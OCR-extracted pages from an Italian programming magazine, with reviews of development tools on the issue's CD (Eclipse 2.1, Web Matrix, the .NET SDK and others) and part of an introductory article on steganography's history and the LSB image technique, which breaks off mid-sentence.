G G G G G G G G G G G I L S O F T W A R E S U L C D
Eclipse 2.1
Open Source: la più completa piattaforma di sviluppo per Java.
MODEL DRIVEN
ARCHITECTURE
L’ultima versione consolidata di
Eclipse, la 2.1 del Marzo 2003, la
trovate sul CD allegato ed unisce
una serie di caratteristiche e fun-
zionalità che la rendono unica nel
panorama degli ambienti si svi-
Fig. 1: Java Perspective in azione. luppo per Java.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 23
015-025 soft 4-06-2003 10:48 Pagina 24
I L S O F T W A R E S U L C D G G G G G G G G G G G
Oltre alle caratteristiche già de- problematiche sono gestite da SCHEDA TECNICA
scritte citiamo il supporto alla Eclipse in completo automatismo,
nuova architettura Model Driven il codice non deve essere neppure Nome: Eclipse 2.1
Produttore: IBM / Open Source
Architecture (Mda) dell’OMG. compilato, sarà Eclipse ad occu-
Licenza: Open Source
L’utilizzo di Mda permetterà di parsi di farci notare eventuali er- Linguaggi supportati: Java
creare applicazioni basate su mo- rori o warning durante la stesura Directory su CD: Eclipse
delli predeterminati evitando, per stessa del codice. Dimensione: 64 MB
quanto possibile, la codifica ma- In Fig. 2 si vede la Debug Perspec-
nuale di parti architetturali comu-
ni. La versione 2.1 di Eclipse sup-
porta nativamente la versione 1.4
del Java Development Kit e da
questa è in grado di ottenere il
massimo sfruttando, per esempio,
le potenzialità del Hot Code Swap
Replacement.
Chi sviluppa applicazioni J2EE sa
perfettamente che ogni volta che
si modifica un Javabean, una
Servlet o l’implementazione di un
Custom Tag, è necessario riavvia-
re l’application server. Bene, attra-
verso la funzionalità HCSR è pos-
sibile ricompilare un oggetto ser-
ver side ed il nuovo codice compi-
lato andrà a sostituire quello vec-
chio all’interno del context del-
l’applicazione.
Questo significa che lo sviluppa-
tore dovrà occuparsi solo di scri-
vere il codice e non dovrà quasi
mai fermare e far ripartire il suo
application server. Tutte queste Fig. 3: Esempio d’utilizzo di un plag-in.
24 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 5-06-2003 16:22 Pagina 25
G G G G G G G G G G G I L S O F T W A R E S U L C D
GESTIONE
DELLE BASI DI DATI
Il supporto e la gestione delle basi di
dati viene portato ancora più in primo
piano, arrivando ad integrarsi diretta-
mente nell’interfaccia del programma.
Oltre ad essere supportato pienamente
SQL Server, il prodotto offre un como-
do metodo per relazionarsi con il nuo-
vo software gratuito per la gestione dei
dati proposto da Microsoft: MSDE.
È possibile, infatti scaricare il program-
ma per la gestione dei dati, costruire il
proprio database, modificarlo e popo-
larlo di dati, nonché eliminarlo, diretta
mente da Web Matrix in maniera com-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 25
015-025 soft 4-06-2003 10:49 Pagina 26
I L S O F T W A R E S U L C D G G G G G G G G G G G
pletamente visuale. È ovviamente pos- grammare il servizio, Web Matrix dà la maniera completamente trasparente
sibile anche connettersi a basi di dati possibilità di realizzare, senza alcuna per l’utente, come se esse risiedessero
esistenti, sfruttando appieno qualsiasi difficoltà, delle classi proxy per il trat- sul proprio computer. Questo permette
fonte di informazioni esistente prece- tamento dei dati in maniera locale. Co- di aggiornare siti web velocemente e
dentemente all’installazione di Web me sempre, se lo preferite, il tutto può comodamente passando da un file al-
Matrix. avvenire in maniera completamente vi- l’altro senza dover scaricare e uploada-
suale, sollevandovi dal compito di per- re decine di files. Ok, è tutto bello, ma
dervi tra righe di codice dal significato se ci sono dei problemi di programma-
oscuro. zione?
Neanche a dirlo, Web Matrix offre un
grande supporto per la soluzione di
FUNZIONI VARIE queste antipatiche situazioni, offrendo
Oltre alle possibilità del prodotto che in maniera preventiva dei Templates
sono state appena citate, vi è un’ampia che, in fase di sviluppo, aiutano ad im-
gamma di comode funzioni accessorie postare correttamente qualsiasi tipolo-
che è sempre piacevole trovare integra- gia di documento. Se comunque, que-
te in un prodotto dedicato allo svilup- sto non dovesse essere sufficiente, vi è
po. Una novità decisamente interessan- un’apposita area del prodotto total-
te riguarda la possibilità di sviluppare mente dedicata alla soluzione dei pro-
nativamente pagine web dedicate ai blemi.
Una volta raggiunte le informazioni sempre più utilizzati dispositivi mobi- Sono infatti presenti collegamenti di-
che si necessitano, la visualizzazione di li. Potrete in poco tempo e con quasi retti a parecchi siti internet, forum,
queste ultime a video è quasi elemen- nessuna conoscenza aggiuntiva, pro- newsgroup che trattano tutte le temati-
tare grazie alla possibilità di configura- grammare la vostra applicazione web che relative a Web Matrix, al frame-
re direttamente gli oggetti di .NET che per dispositivi mobili. work .NET, ad ASP ed a qualsiasi argo-
si occupano della gestione dei dati. mento dello sviluppo possa darvi dei
problemi. È inoltre possibile utilizzare
personalmente la propria rubrica di
SUPPORTO contatti Window Messenger per trova-
PER I WEB SERVICE re la persona che possa risolvere il pro-
Possiamo tranquillamente dire che i blema per noi. Il tutto comodamente
Web Services sono l’ultima vera novità integrato nell’ambiente di sviluppo. È
dell’universo informatico, e che sin infine possibile effettuare ricerche on
dalla loro prima apparizione essi han- line per argomenti, ed utilizzare un co-
no destato l’interesse di tutti i maggio- modo gestore di snippet inserito in una
ri produttori di software, che si sono delle toolBox.
immediatamente prodigati per offrire
pieno supporto per questa nuova tec-
nologia. .NET supporta in maniera ec- PER FINIRE
cellente i Web Services e questa sua Che dire a conclusione di questo arti-
grande qualità non può non riflettersi colo? Non esiste un valido motivo per
anche su Web Matrix, che rende la crea- cui chiunque sviluppi applicazioni
zione e l’utilizzo dei Web Services ASP .NET non debba installare questo
quanto di più semplice un informatico Sono infatti disponibili una serie di gioiellino sul proprio computer.
possa desiderare. È possibile, dal tem- controlli dedicati a questa particolare E quindi che aspettate?
plate iniziale, creare con pochi click il area dello sviluppo che nascono con Giuliano Uboldi
proprio servizio web e testarlo imme- l’intento di soddisfare qualsiasi neces-
diatamente. Una volta finito di pro- sità possiate incontrare nel trattare con
questa tipologia di software. Altra im- SCHEDA TECNICA
portante capacità del prodotto, è quella Nome: Microsoft [Link] Web Matrix
di poter essere utilizzato come client Project
ISP/ FTP per la pubblicazione e la mo- Produttore: Microsoft Corporation
Tipologia prodotto: Ambiente di
difica di pagine on-line. È possibile, in- sviluppo per applicazioni Web Based
fatti, una volta generate le proprie pa- (IDE)
gine ASP .NET, caricarle sul server ove Tipologia distribuzione: Freeware
Versione: 0.5 Beta
esse sono destinate senza dover cam- Requisiti d’utilizzo: Framework .NET,
biare programma. Ma ancor più inte- Win XP o Win 2000, IE 5.5
ressante è la possibilità di modificare Linguaggi supportati: Visual Basic, C#,
Jscript
pagine precedentemente pubblicate in
26 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:50 Pagina 27
G G G G G G G I M I G L I O R I S O F T W A R E S U L C D
Ed inoltre
Software sul CD
di ioProgrammo
Microsoft .Net santi esempi di RDBMS gratuti oggi disponibili. servando la semplicità tipica degli script, consen-
Framework 1.1 SDK SECONDO CD: \SpecialeDB te di semplificare il collegamento dati-applicazio-
Il Microsoft .NET Framework Software Develop- ni in ambito enterprise. Altro plus è costituito dal-
ment Kit (SDK) include il .NET Framework ridi- Open Office 1.0.2 la possibilità di utilizzare ActionScript Server-Si-
stribuibile e tutto quello che serve per scrivere, Continua lo sviluppo della suite open source ri- de per tutta la logica che risiede sul server: per chi
compilare, testare e distribuire applicazioni per il volta alla produttività d'ufficio. OpenOffice si pro- è già esperto di Flash, questa è una occasione im-
.NET Framework – incluso documentazione, pone come soluzione integrata di applicazioni, pedibile per fare il salto di qualità! Per completa-
esempi, compilatori e strumenti a linea di coman- multilingue e multipiattaforma, basata sul noto re questo quadro comunque paziale, citiamo la
do. Dopo un lungo periodo di gestazione, vede fi- standard XML, utilizzato per lo scambio ed il sal- presenza di un potente framework per il Web in
nalmente la luce la nuova release del Framework vataggio di documenti. I componenti inclusi sono: grado di mantere le sessioni e gestire applicazioni
.NET che aggiunge numerose features e corregge un word processor (Writer), un foglio elettronico e client in modo del tutto trasparente. La forte in-
alcuni bug della precedente versione. Tra le novità (Calc), un programma per creare grafici e dia- tegrazione con Java Enterprise ed il pieno sup-
più interessanti segnaliamo il supporto nativo per grammi (Draw) ed un tool per la creazione di pre- porto per le librerie di tag JSP, hanno fatto di Cold-
applicazioni mobile, una maggiore sicurezza per sentazioni multimediali (Impress). Nella direc- fusion uno degli strumenti preferiti dai professio-
le applicazioni [Link], il supporto per IPV6 e tory trovate anche la completa piattaforma di svi- nisti del Web.
connessione nativa a database Oracle e ODBC. luppo che consente di modificare ed estendere [Link]
Questa versione del Framework è quella che ac- l’applicativo.
compagna Visual Studio .NET 2003 e Windows SECONDO CD: \OPEN_OFFICE ColdFusion MX Updater 3
Server 2003. Nella directory DOT_NET_FRA- Questo programma di aggiornamento include
MEWORK del secondo CD trovate il framework Macromedia Flash MX tutti i miglioramenti apportati a ColdFusion MX
nelle due versioni: italiana e inglese. Il nuovo Macromedia Flash MX coniuga al meglio Server e ColdFusion MX for J2EE e vi garantisce
SECONDO CD: \DOT_NET_FRAMEWORK le esigenze deli sviluppatori e dei grafici impe- le ultime novità in fatto di sicurezza, stabilità e
gnati a costruire siti Web di grande impatto e ap- funzioni di primaria importanza.
SQL Server 2000 plicazione che possono essere utilizzate su tutte le \COLDFUSION_UPDATER
Desktop Engine (MSDE) principali piattaforme. Flash MX migliora e sem-
Gli aggiornamenti di SP3 per MSDE includono plifica il processo di preparazione visuale per gli Patch Maker 1.2
aggiornamenti e nuove installazioni per i compo- sviluppatori Web tradizionali che intendono lavo- La vita di ogni software è caratterizzata dalla usci-
nenti di database delle istanze di SQL Server 2000 rare sul lato client delle loro applicazioni. Vedia- ta di più release e, generalmente, le varie versioni
Desktop Engine, fra cui: mo alcune delle nuove funzioni: il nuovo suppor- differiscono le une dalle altre solo per pochi pic-
to video, grazie al quale sarà possibile visualizza- coli cambiamenti. Quello che accade è che solo
• Il motore per dati desktop. re e manipolare tutti i più diffusi formati video una piccola percentuale del codice di un’applica-
(MPEG, Digital Video, QuickTime e AVI). I nuovi zione subisce dei reali cambiamenti. Ciononostan-
• Componenti client di connettività per databa- pannelli context-sensitive, che consentono un mi- te, si è soliti creare degli aggiornamenti che inclu-
se, quali Microsoft OLE DB Provider per SQL gliore sfruttamento dell’area video. Il dynamic dano l’intera applicazione, col risultato che per
Server 2000, il driver ODBC per SQL Server loading del nuovo player per immagini e suoni, cambiamenti che coinvolgano pochi Kbyte, si di-
2000 e le librerie di rete client. che ottimizza il caricamento di file MP3 e JPEG. stribuiscono file di diversi mega. L’utility in que-
Forte integrazione con XML, utile sia nella mani- stione consente proprio di distribuire patch conte-
Il pacchetto include tutti i file necessari per instal- polazione dei dati che nella gestione dei compo- nenti unicamente le effettive modifiche apportate
lare una nuova istanza di Desktop Engine (file nenti. Numerosi componenti pronti all’uso, che all’applicazione.
msi), per aggiornare tutte le istanze esistenti di renderanno ancora più veloce lo sviluppo di ap- [Link]
Desktop Engine (file msp) e per utilizzare i modu- plicazioni: scrollbar, rich text fields, pulsanti di in-
li di unione (file msm) nelle applicazioni. put, radio button e check box, olte alle list box ed ERCreator Database
SECONDO CD: \MSDE alle combo box. Versione di valutazione valida Edition demo 2.0
trenta giorni. Un tool dedicato allo sviluppo di modelli Entità-
Speciale Database flashmx_trial_it.exe Relazione: può essere usato sia per creare e docu-
Questo mese ioProgrammo vi consente di compa- mentare database, sia per generare script per la
rare alcuni dei migliori motori di database gratui- ColdFusion MX creazione di oggetti per database. Sono supporta-
ti. Oltre al classico MySQL, qui presente anche Un eccezionale application server per costruire ti tutti i più diffusi database (DB2/MVS, DB2
nella nuovissima versione 4.1 ancora in alpha, po- nel modo più semplice applicazione Web che in- (UDB), Interbase, MySQL, Oracle, e Microsoft
tete provare il progetto Open Source Firebird, de- tegrino databases, XML, Web Services, Flash e tut- SQL Server) ed è utilizzato XML come formato
rivato direttamente dal pluripremiato Interbase di to quanto di più avanzati la tecnologia metta oggi base dei file. La nuova versione include il suppor-
Borland. a disposizione dei professionisti del Web. Una to a ODBC ed una interessante utility per il rever-
Troverete anche tutti i file del progetto SAP DB delle più apprezzate caratteristiche è il linguaggio se-engineering.
([Link]) uno dei più completi ed interes- CFML (ColdFusion Markup Language) che, con- [Link]
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 27
028-031 soluzioni 4-06-2003 10:51 Pagina 28
S O L U Z I O N I G G G G G G G G G G G G G G G G G
Steganografia
tecniche e algoritmi
Steganografare scritture per inviare eventuali infatti, fu introdotta dagli antichi greci. L’etimologia
elementi trasmessivi segreti è tra le finalità della parola infatti, è l’unione di due termini greci ste-
maggiori, debitamente garantita d@ll’idea della go (nascondo, occulto) e grajh (scrittura). Fu proprio
questo popolo a sviluppare i primi rudimenti di ste-
immissione tra segnali statici, scelti
ganografia al fine di inviare testi nascosti in altre parti
rigorosamente. Mica futilità! del paese, senza che questi potessero essere rilevati. La
tecnica usata era quella di incidere il testo su tavolette
che successivamente venivano ricoperte di cera.
P
erdonatemi il sottotitolo leggermente sgramma- Un’altra tecnica molto originale quanto bizzarra, che
ticato, ma nel corso dell’articolo si comprenderà descrive il grande storico greco Erodoto, consisteva
come tale periodo non abbia la sola funzione di nel tagliare a zero i capelli del messaggero e tatuare sul
introdurre l’argomento oggetto della presente tratta- cranio il messaggio segreto e in seguito alla ricrescita
zione. Uno, due e tre è siamo pronti ad iniziare. Molte dei capelli mandarlo dal destinatario per la consegna,
volte tra queste pagine ci è capitato di trattare temi per rendere la cosa maggiormente credibile al portato-
dalle molteplici sfaccettature; oltre a quello informati- re di notizie veniva dato un messaggio falso. Ovvia-
co abbiamo spesso trattato problemi e relative solu- mente, una volta giunto a destinazione bastava rasare
zioni che presentassero altri significativi aspetti, come i capelli al messaggero per raggiungere l’obiettivo di
ad esempio quello matematico. L’argomento che ci invio sicuro del messaggio segreto. Nell’antichità in
terrà compagnia in questo numero detiene il record, Cina i messaggi segreti venivano dipinti su striscioli-
poiché coinvolge una considerevole serie di aspetti. Si ne di seta e dopo essere arrotolati venivano coperti di
tratta, infatti, come vedremo, di un argomento di at- cera così si potevano trasmettere. Ma un passo avanti
tualità, oltre che ovviamente un interessante tema nella formalizzazione e sviluppo della tecnica steno-
informatico-matematico; inoltre presenta significativi grafica si è avuto grazie al contributo di Giovanni Trai-
aspetti politici, e per quanto mi riguarda ha anche una menio con il suo Steganographia e Clavis Stegano-
valenza artistica. Spero che la cospicua quantità di am- graphiae. Il più semplice degli schemi che lo studioso
biti non vi spaventi, bensì aumenti le aspettative sul presentò si riduce a quello che oggi è il conosciuto gio-
tema, che vi assicuro verranno mantenute. L’area spe- co di parole acrostico, ossia una frase che si forma con
cifica di interesse della steganografia è la sicurezza. parole le cui iniziali appartengono ad un'altra frase o
Circa la sicurezza abbiamo già avuto modo di scrive- parola sorgente. Ad esempio, se invio il telegramma:
re, come i più attenti e dotati di memoria ricordano, “Avendo liberato Lola abbiamo ritenuto migliorare e
poiché si tratta di numeri abbastanza un po’ lontani riformulare osservazioni sull’animalismo”, e se il rice-
Soluzioni
nel tempo; in particolare abbiamo trattato gli algoritmi vente è a conoscenza del fatto che si tratta di un acro-
di crittografia. La steganografia è un metodo che ha lo stico, potrà tranquillamente, ricomponendo le prime
stesso scopo della crittografia, ossia inviare un mes- lettere di ogni parola della frase trasmessa, ottenere il
saggio segreto senza che il contenuto sia scoperto da messaggio segreto che risulta essere: “Allarme rosa”.
occhi indiscreti, ma si distingue da essa per la filosofia Certo, questo schema è semplicemente individuabile,
di funzionamento. Come vedremo in modo approfon- ma con piccole variazioni si possono ottenere risultati
dito nel corso della disquisizione. Ribadisco! Leggete migliori, come lo stesso Trimenio propose. Ad esem-
tutto l’articolo fino all’ultima parola. È presente un ele- pio, si può pensare di considerare solo alcune parole
mento di interesse aggiuntivo che si svelerà al termine della frase, in modo periodico; oppure si può nascon-
della trattazione, vi assicuro che ne vale la pena. dere il messaggio segreto non nelle prime lettere di
ogni parola ma in altre posizioni, e queste ultime le si
può pensare variabili. La struttura steganografica pro-
STEGANOGRAFIA posta da Trimenio, costituita da quaranta sistemi e
DALLE ORIGINI dieci schemi, si avvaleva, in alcuni casi, anche di stru-
La steganografia, al contrario di molte tecniche di uso menti traspositivi, come un doppio disco in cui le due
avanzato al calcolatore non è di recente origine, essa parti scorrevano una dentro l’altra. Sul disco esterno
28 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
028-031 soluzioni 4-06-2003 10:51 Pagina 29
E E E E E E E E E E E E E E E E E S O L U Z I O N I
vi era l’alfabeto, su quello interno le stesse lettere in un pio, dietro una semplice comunicazione dai contenuti, Trimenio
ordine diverso, in modo che, scorrendo il disco inter- anche comuni, si può celare un messaggio nascosto Nacque il 1° feb-
no, si poteva individuare una corrispondenza tra la opportunamente camuffato dalle tecniche steganogra- braio 1462 a Tri-
tenheim nella contea di
lettera del messaggio e quella da cifrare. Ma in questo fiche. Il mezzo di trasporto può riguardare anche altri
Treviri da una ricca fami-
ultimo caso ci avviciniamo maggiormente al concetto file come quelli di immagine, i suoni o i filmati. Una glia. Il suo vero nome è
di crittografia. Una comparazione tra i due metodi è fotografia che ritrae un gruppo di amici può contene- Johann Heidenberg. Do-
riportata di seguito. Metodo analogo era quello che fa- re nascosta un’importante mappa. Quindi, al contrario po la prematura scom-
parsa del padre, fre-
ceva uso delle griglie di Cardano che erano fogli di della crittografia, nella steganografia qualora si intui-
quentò la scuola clande-
materiale rigido con appositi buchi. Apponendo tali sca o peggio si abbia la consapevolezza che la trasmis- stinamente poiché non
griglie su documenti che venivano inviati si otteneva sione contenga dei messaggi segreti, allora gran parte gli era concesso. Nel
il messaggio cifrato. Si potrebbero trovare moltissimi dell’efficacia del metodo è persa. Diciamo subito che 1479 si stabilì ad Heidel-
berg dove studiò e poté
casi di steganografia disseminati nel corso dei secoli, a se la tecnica è ben sviluppata tale situazione non do-
recuperare il tempo per-
riprova dell’esigenza sempre attuale di inviare mes- vrebbe verificarsi, se non raramente, ad ogni modo duto. Una casualità, una
saggi segreti. Visioniamo rapidamente alcuni altri per rendere maggiormente sicura la comunicazione, tempesta di neve mentre
esempi. L’uso di inchiostri simpatici, come il succo di l’esperto di sicurezza preferisce adottare sistemi misti, ritornava a casa, lo fece
incontrare con un con-
limone o inchiostro di cobalto, che diventano visibili i che presentino oltre alla steganografia anche la critto- vento benedettino, in cui
primi a contatto con fonti di calore i secondi dopo op- grafia. fu colto da un’improvvi-
portuni trattamenti con reagenti chimici, permettono Uno schema che fa solo uso della steganografia è ri- sa vocazione. Intanto si
una trasmissione segreta. La tecnica usata dai nazisti portato in Fig. 1. faceva già chiamare il
nome iniziatico di Trithe-
nella seconda guerra mondiale era di immettere mi- mius (dal suo paese na-
cropunti fotografici. In particolare, fotografie delle di- tale). Grazie alle sue ca-
Canale sicuro
Sorgente Destinazione
mensioni di un punto potevano essere opportuna- pacità (come si diceva
K allora “conosceva l’ar-
mente ingrandite, esse venivano “iniettate” in altre fo- Steganografia
Decifratura te”) riuscì a risollevare
tografie che sembravano innocue e così trasmesse. le sorti del convento che
Passiamo adesso alla parte meramente tecnica. O + S + O era sull’orlo del tracollo
Canale pubblico
e nel giro di poco tempo
fu chiamato a reggere
CRITTOGRAFIA C l’abbazia. I duecento
monaci diventarono do-
E STEGANOGRAFIA po poco abili trascrittori
Per comprendere a fondo il concetto di steganografia di libri e dopo poco tem-
po l’abbazia era cono-
è necessario evidenziare le differenze che si riscontra- Fig. 1: Trasmissione segreta mediante
sciuta non solo in Ger-
no rispetto all’altra tecnica fondamentale nel campo steganografia. o elemento (messaggio, immagine
mania ma in tutta Euro-
ecc) originale segreto da trasmettere; c elemento
della sicurezza, la crittografia. Vedremo di seguito che di copertura (testo, immagine ecc); k chiave; s pa. Risalgono a questo
l’uso combinato delle due tecniche risulta di elevata elemento steganografato (testo, immagine). periodo gli studi sulla
steganografia. Morì il 15
efficacia. Nella crittografia il messaggio sorgente vie- dicembre 1516 lontano
ne: cifrato sulla base di un algoritmo e di una chiave; L’elemento originale, da trasmettere segretamente che dal convento in seguito a
trasmesso, e una volta a destinazione decifrato con un può essere un messaggio, un suono, un filmato o contrasti con gli altri fra-
secondo algoritmo e con la conoscenza della chiave (a un’immagine, insieme ad un elemento di copertura, ti che con il passare del
tempo sopportavano
seconda dei metodi crittografici le chiavi di cifratura e ad esempio un altro testo, o ancora un’immagine, e in- sempre meno il rigore
decifratura possono essere uguali, quindi private, os- sieme ad una chiave che è conosciuta dal trasmittente imposto da Trimenio.
sia segrete, come nel caso di DES, oppure diverse, quanto dal destinatario, vengono unite e poste come
quindi una pubblica ed una privata, ad esempio RSA). input per l’algoritmo steganografico, che produce ap-
Nel caso della crittografia, si parte dal presupposto punto l’elemento cifrato. Questo può essere trasmesso
Soluzioni
che un possibile attacco atto a decifrare un messaggio tranquillamente su un comune canale pubblico, inter-
inviato sia reso “difficoltoso”, purtroppo non si può net in primis, “sicuri” del fatto che non si rilevi alcuna
parlare di impossibile, dalla complessità che si ha comunicazione privata e comunque consapevoli che
nell’individuare la chiave. Ad ogni modo, l’hacker o gli elementi di copertura e lo steganografato (soprat-
chi tenta di violare il messaggio è ben cosciente che si tutto nel caso di immagini) siano praticamente indi-
trova davanti ad un elemento segreto, e questa consa- stinguibili. Una volta trasmesso l’elemento stegano-
pevolezza è nota anche alle due parti che trattano il grafato a destinazione, con l’algoritmo duale alla ci-
messaggio, il mittente ed il destinatario. Si pensi quan- fratuta, si ottiene il messaggio o immagine in chiaro.
do si invia il numero di carta di credito per effettuare Apro una piccola parentesi per puntualizzare il ruolo
un acquisto on-line, è noto che quel numero verrà crit- del canale sicuro attraverso il quale va trasmessa la
tografato e che se pure finisca in mano indesiderate chiave. È ovvio che non si può parlare di sicurezza as-
non si possa (o sia molto difficile) pervenire al nume- soluta, altrimenti l’intera comunicazione potrebbe
ro originario. Nella steganografia, invece, l’obiettivo è viaggiare su tale canale, inoltre, va precisato che la
quello di non far intuire all’eventuale intruso, che in- chiave va trasmessa una tantum, certamente non ogni
tende conoscere le nostre notizie o comunicazioni, che volta che si invia un messaggio segreto. Ma questa è
sia presente un messaggio segreto. Cosicché, ad esem- una discussione già fatta in occasione della crittogra-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 29
028-031 soluzioni 4-06-2003 10:52 Pagina 30
S O L U Z I O N I G G G G G G G G G G G G G G G G G
fia, per cui vi rimando a quelle pagine. Come già af- adepti attraverso le conosciute comunicazioni a mez-
Alcuni utili fermato in precedenza, qualora si individui una co- zo broadcasting. In particolare, alcune importanti am-
riferimenti municazione segreta, questa viene più facilmente de- ministrazioni, come quella USA, con le parole della
Per i collezionisti
di ioProgrammo, cifrata rispetto al caso della crittografia. Per rendere, portavoce Condoleeza Rice, ma anche quella britanni-
che a quanto pare non quindi, più robusta e sicura la comunicazione, i due ca, hanno paventato che sia i proclami a mezzo televi-
sono pochi, vorrei forni- metodi vengono uniti. Un ulteriore sviluppo prevede sivo che alcune immagini presenti su importanti siti
re alcuni utili riferimenti
che il messaggio steganografato sia anche crittografa- internet come e-Bay o Usenet contenessero elementi
che completeranno e
amplieranno la com- to secondo lo schema riportato nella Fig. 2. steganografati di produzione attribuibile ad Al Que-
prensione della stega- da. Sulla base di ciò, che al momento è solo una sup-
nografia. Anche se vi sa- Sorgente Destinazione posizione, il governo americano nel produrre la famo-
ranno sicuramente an- KS
sa patriot act per contrastare il terrorismo, ha intro-
che di altri articoli corre-
Canale
sicuro
lati, disseminati nei vari dotto un capitolo per il controllo delle comunicazioni,
KC
numeri di ioProgrammi, Crittografia con particolare accento ad internet, che ha determina-
mi permetto di segnala- to delle pesantissime ripercussioni sulla libertà di
O + CR
re quelli scritti da me
sempre nella sezione so-
azione degli internauti, denunciate da importanti as-
luzioni. Vi propongo di C + S + CR + O
sociazioni come ACLU, CPSR e EFF. Certo la legge è
leggere gli articoli sulla Decrittografia Decifratura
americana ma gli utenti della madre di tutte le reti so-
Canale
sicurezza, che trattano Steganografia
pubblico no di tutto il mondo, ecco quindi che siamo un po’ tut-
la crittografia esponen-
do i maggiori algoritmi a
ti coinvolti. Va inoltre ricordato che molti governi si
Fig. 2: Trasmissione segreta mediante
chiave privata, tipo DES sono allineati, chi più chi meno, all’azione americana;
steganografia. o elemento (messaggio, immagine
e a chiave pubblica co- ecc) originale segreto da trasmettere; c elemento in Italia, ad esempio, la legge n.374 del 18 ottobre 2001
me RSA, nonché PGP, si di coperture (testo, immagine ecc); cr elemento è leggermente più “morbida” della patriot act. Per
tratta dei numeri: 28 e crittografato; kc chiave crittografica; ks chiave
29. Inoltre, risulterà in- concludere la parentesi “atipica” va sottolineato il vi-
stenografica; s elemento steganografato (testo,
teressante un’analisi de- immagine). vo dibattito che è sorto circa la divulgazione o meno
gli algoritmi di compres- degli studi sulle tecniche stenografiche.
sione esaminati nei nu-
In questo secondo caso, l’elemento originale è inizial- In estrema sintesi, alcuni pensano che tali strumenti in
meri: 18 e 19. Ancora ri-
tengo opportuno che sia mente crittografato, dopodiché il processo di trasmis- mano a terroristi siano pericolosi, quindi è opportuno
utile approfondire il con- sione è identico al precedente. Risulta ovvio, che even- rendere il più possibile riservati gli studi relativi al lo-
cetto di errore leggendo tuali attacchi risultano più ostici poiché bisogna oltre ro sviluppo. Altri invece, pensano che come tutti i
il numero: 38; nonché
che decifrare l’elemento steganografato anche quello frutti della ricerca scientifica anche le analisi stegano-
gli articoli che riguarda-
no i giochi di parole pre- crittografato. Nel caso in cui la crittografia sia a chia- grafiche debbano essere rese pubbliche, sia per evita-
senti nei numeri: 65 e ve pubblica, tipo RSA, lo schema riportato in figura va re una predominanza che oltre a quella economica sa-
66. Ed infine, una buona leggermente variato nella fase di decrittografia allor- rebbe a questo punto anche di carattere culturale-
lettura che vi concilierà
il sonno (scherzo ovvia-
quando si fa riferimento ad un’altra chiave. Per con- scientifico e sia perché tale strumento possa essere
mente) riguarda il calco- cludere, il paragrafo è illuminante e fornisce un im- usato in altre realtà (ad esempio in nazioni in cui av-
lo combinatorio reperi- portante punto di vista che ci aiuta a chiarire il con- vengono violazioni dei diritti umani) come modalità
bile nel numero: 31. cetto, la definizione data da Marcus Kuhn sulla stega- indispensabile di comunicazione.
nografia: “La steganografia è l’arte di comunicare in
modo tale da nascondere l’esistenza stessa della comuni-
cazione. Al contrario della crittografia, in cui il nemico ALGORITMO LSB
può rilevare, intercettare e modificare dei messaggi sen- STEGANOGRAFARE IMMAGINI
za però riuscire a violare determinati livelli di sicurezza Uno dei casi più interessanti di steganografia è quello
garantiti dal criptosistema, il fine della steganografia è che coinvolge le immagini. È possibile inserire all’in-
Soluzioni
di nascondere dei messaggi all’interno di altri messaggi terno di una qualsiasi immagine di copertura una se-
innocui in modo tale da non permettere al nemico nem- conda immagine, in generale un messaggio nascosto,
meno di rilevare la presenza di un secondo messaggio se- facendo in modo che la prima risulti pressoché inal-
greto”. terata. Sappiamo che un’immagine è memorizzata co-
me un’array di pixel (unità grafica minima) che pos-
sono assumere diversi colori. Con la rappresentazione
ALTRI ASPETTI RGB, ossia: Red, Green e Blue (rosso, verde e blu) si
Prima di esporre la parte tecnica è indispensabile, sep- produce un qualsiasi colore come il mix del contribu-
pur brevemente, esaminare alcuni altri aspetti. Scrive- to di ognuno dei tre colori, detti primari. La percen-
vo che la steganografia coinvolge molti ambiti, volevo tuale di ognuno dei singoli colori, secondo uno dei
adesso esporne qualcuno di essi esaminando come si modelli maggiormente diffusi, è scelta tra 256 possibi-
ripercuote nel nostro ruolo di utilizzatori della rete li, quindi è rappresentata con un byte. Se ne deduce
globale e cercando di sgombrare dal campo alcuni at- che un singolo pixel è memorizzato con tre byte. A ta-
teggiamenti propagandistici. Si è detto che l’uomo più le proposito è significativo vedere con una qualsiasi
ricercato al mondo Osama Bin-Laden abbia fatto uso applicazione di painting, come si possa generare un
della steganografia per impartire degli ordini ai suoi colore come la combinazione di tre numeri compresi
30 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
028-031 soluzioni 4-06-2003 10:53 Pagina 31
E E E E E E E E E E E E E E E E E S O L U Z I O N I
Ecco uno dei 256 possibili esempi: siasi immagine scannerizzata contiene comunque del
rumore, ovvero, delle imprecisioni di definizione pro-
1001 0001 prie dello strumento di rilevazione, e quindi anche se
1001 0001 i cambiamenti dovuti all’applicazione della stegano-
1001 0001 grafia dopo un’accuratissima analisi dell’immagine
venissero rilevati sarebbero difficilmente distinguibili
Poiché la scala di 256 diverse tonalità è ampia piccole dal rumore intrinseco dell’immagine sorgente. Tale al-
variazioni non si percepiscono, per cui se ad esempio goritmo ha comunque un limite evidente che risulta
un pixel è rappresentato dalla seguente terna: dalla perdita del elemento nascosto, o di una parte
informativa di esso, qualora l’immagine venga modi-
1000 1110 ficata.
1011 0011 Altri metodi conosciuti come algoritmi e trasforma-
1000 0110 zioni permettono di inserire messaggi nascosti anche
in immagini che presentano formati compressi come
Variare il bit meno significativo di una delle tre com- le JPG (e quindi FFT, trasformate di Fourier nel discre-
ponenti di colore lascia il pixel sostanzialmente inalte- to). Tali tecniche occultano il messaggio in determina-
rato, la piccolissima variazione è ancora più difficile te aree dell’immagine manipolando alcune caratteri-
da notare se si tiene presente che si tratta di un singo- stiche come la luminosità. Ad ogni modo il principio
lo pixel, che per un’intera immagine fornisce un con- ispiratore di tali tecniche (stenografiche in generale) è
tributo minimo. L’idea alla base dell’algoritmo tiene che ogni qual volta si ha la possibilità di scelta nel rap-
